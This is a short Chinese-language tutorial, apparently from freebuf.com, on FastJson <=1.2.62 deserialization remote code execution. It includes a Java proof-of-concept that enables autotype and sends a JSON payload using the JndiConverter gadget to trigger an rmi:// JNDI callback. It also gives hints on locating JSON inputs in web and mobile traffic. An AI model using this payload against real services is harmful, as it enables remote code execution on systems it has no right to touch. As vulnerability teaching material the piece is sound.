FastJson 反序列化入门 – 作者:米怀特

前言

FastJson反序列化作为流行的攻击漏洞之一,受到各方的关注。FastJson的利用载荷再结合不同的模块后展现出更加引人入胜的魅力。虽然漏洞比较老,但是Fastjson<=1.2.62 RCE作为入门的教程进行分享还是足够。

模块的作用

在了解FastJson RCE漏洞分析之前,要先理解FastJson前台什么地方能够被利用。FastJson顾名思义在Json数据传递之中存在的模块。所以在各种HTTP POST数据包之中,如果发现JSON参数传递不妨尝试下。JSON格式的数据传递,在移动端逆向抓包之中较为常见。综上在如果在WEB层没有找到合适的数据包,也可去客户端层找寻。

Fastjson<=1.2.62 RCE 分析

咱们先来了解为什么要autotype开启。因为在1.2.25之后的版本,以及所有的.sec01后缀版本中,autotype功能是受限的,和之前的版本不同,这项限制会影响到@type。
通过POC能够得知首先开启autotype开启,然后使用org.apache.xbean.propertyeditor.JndiConverter进行Jndi的回连。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class poc {

    public static void main(String args[]) {
        // 开启 autotype
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //org.apache.xbean->propertyeditor->JndiConverter()
        String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/ningmengboluo\"}";
        Object obj = JSON.parseObject(text1);
    }
}

紧接着咱们看com.alibaba.fastjson.JSON模块,在代码之中能够看到使用案例。
image

其次查看org.apache.xbean.propertyeditor.JndiConverter,能够看到存在Jndi的典型漏洞,但是因为不满足漏洞利用条件,也就是需要字符串。
image

最后咱们需要向上溯源,溯源就是找他的父类AbstractConverter,父类之中的setAsText()刚好满足利用条件。所以载荷之中才会使用AsText作为属性值。
image

总结

反序列化的知识根据反序列化类的不同而变得丰富多彩。大多数时候更好的理解代码,寻找反序列化点,成为挖掘漏洞的必修课。

来源:freebuf.com 2021-05-17 12:04:34 by: 米怀特

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论